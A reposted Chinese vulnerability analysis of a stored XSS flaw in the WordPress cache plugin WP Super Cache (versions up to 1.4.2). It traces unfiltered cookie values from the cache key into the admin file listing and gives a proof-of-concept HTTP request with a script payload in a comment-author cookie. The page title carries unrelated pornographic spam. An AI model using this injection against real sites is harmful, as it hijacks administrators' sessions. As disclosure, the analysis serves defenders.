压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

WP Super Cache <=1.4.2 存儲型XSS漏洞分析

流行WordPress緩存插件WP-Super-Cache近日曝出高危漏洞,攻擊者可在頁面中注入惡意代碼,這使得數百萬WordPress網站處于危險之中。WP Super Cache是一個經典的老牌且好用的緩存插件,可以大大提高網站性能,所以一直都是WPer們幾乎必裝的東東之一。

基本信息

WP Super Cache 會把未緩存過的文件靜態化,寫入html文件到wp-contents/cache 目錄。對于wordpress用戶(匿名評論,作者,管理員等)生成一個key,其中key 部分取自訪問當前頁面的用戶cookie,根據key來找到對應的緩存文件。插件后臺展示頁面會列出所有緩存的文件以及key,由于對key 未過濾,導致插件后臺存在存儲xss漏洞。

觸發地址:

http://127.0.0.1/cms/wordpress/wp-admin/options-general.php?page=wpsupercache&tab=contents&listfiles=1&_wpnonce=b468360c30#listfiles

觸發截圖:

14289364557655

代碼分析

插件會hook所有頁面調用函數 wp_super_cache_init 來初始化插件。

file: wp-super-cache.1.4.2\wp-cache-phase1.php? line:107

function wp_super_cache_init() {

…….

get_wp_cache_key()

}

get_wp_cache_key() 調用? wp_cache_get_cookies_values

file :wp-super-cache.1.4.2\wp-cache-phase1.php??? line:360

function wp_cache_get_cookies_values() {

$string = ”;

$regex = “/^wp-postpass|^comment_author_”;? //前臺評論,無需注冊。

if ( defined( ‘LOGGED_IN_COOKIE’ ) )

$regex .= “|^” . preg_quote( constant( ‘LOGGED_IN_COOKIE’ ) );

else

$regex .= “|^wordpress_logged_in_”;? //普通登錄用戶

$regex .= “/”;

while ($key = key($_COOKIE)) {

if ( preg_match( $regex, $key ) ) {

if ( isset( $GLOBALS[ ‘wp_super_cache_debug’ ] ) && $GLOBALS[ ‘wp_super_cache_debug’ ] ) wp_cache_debug( “wp_cache_get_cookies_values: $regex Cookie detected: $key”, 5 );

$string .= $_COOKIE[ $key ] . “,”;? //直接取cookie 沒有過濾

}

next($_COOKIE);

}

reset($_COOKIE);

// If you use this hook, make sure you update your .htaccess rules with the same conditions

$string = do_cacheaction( ‘wp_cache_get_cookies_values’, $string );

return $string;

}

檢查是否被緩存過并且把cookie等信息寫入 wp-content\cache\meta 目錄

如 file:wp-cache-94bbb0fe53ee08e617bce3f2d58f264f.meta

a:5:{s:7:”headers”;a:4:{s:4:”Vary”;s:12:”Vary: Cookie”;s:12:”Content-Type”;s:38:”Content-Type: text/html; charset=UTF-8″;s:10:”X-Pingback”;s:53:”X-Pingback: http://127.0.0.1/cms/wordpress/xmlrpc.php”;s:13:”Last-Modified”;s:44:”Last-Modified: Fri, 10 Apr 2015 06:08:45 GMT”;}s:3:”uri”;s:24:”127.0.0.1/cms/wordpress/”;s:7:”blog_id”;i:1;s:4:”post”;i:0;s:3:”key”;s:78:”127.0.0.180/cms/wordpress/<script>alert(0)</script>,x@baidu.com,http://2222,”;}

后臺展示頁面 WP Super Cache 設置 > 內容 ,關鍵代碼。

file:wp-super-cache.1.4.2\wp-cache.php?? line:2347

ksort( $cached_list ); //緩存文件列表,從wp-contents/cache 文件夾讀取。

foreach( $cached_list as $age => $d ) {

foreach( $d as $details ) {

echo “<tr $bg><td>$c</td><td> <a href=’http://{$details[ ‘uri’ ]}’>” . $details[ ‘uri’ ] . “</a></td><td> ” . str_replace( $details[ ‘uri’ ], ”, $details[ ‘key’ ] ) . “</td><td> {$age}</td><td><a href='” . wp_nonce_url( add_query_arg( array( ‘page’ => ‘wpsupercache’, ‘action’ => ‘deletewpcache’, ‘uri’ => base64_encode( $details[ ‘uri’ ] ) ) ), ‘wp-cache’ ) . “#listfiles’>X</a></td></tr>\n”;

$flip = !$flip;

$c++;

}

}

變量 $details[ ‘key’ ] 來自于wp-content\cache\meta 中的文件,直接輸出,沒有任何過濾。

漏洞利用

由以上分析可知。發送以下數據包即可生成新的緩存,插入惡意腳本。

GET /cms/wordpress/ HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: comment_author_url_{randstr}={poc}{randstr}

Connection: keep-alive

簡單Exploit: https://github.com/yaseng/pentest/blob/master/exploit/wp-super-cache-xss-exploit.py

轉載來自FreeBuf黑客與極客(FreeBuf.COM)

 

上一篇:Oracle數據庫監聽器引起的安全威脅與防護技術

下一篇:谷歌正為Gmail開發PGP端到端加密技術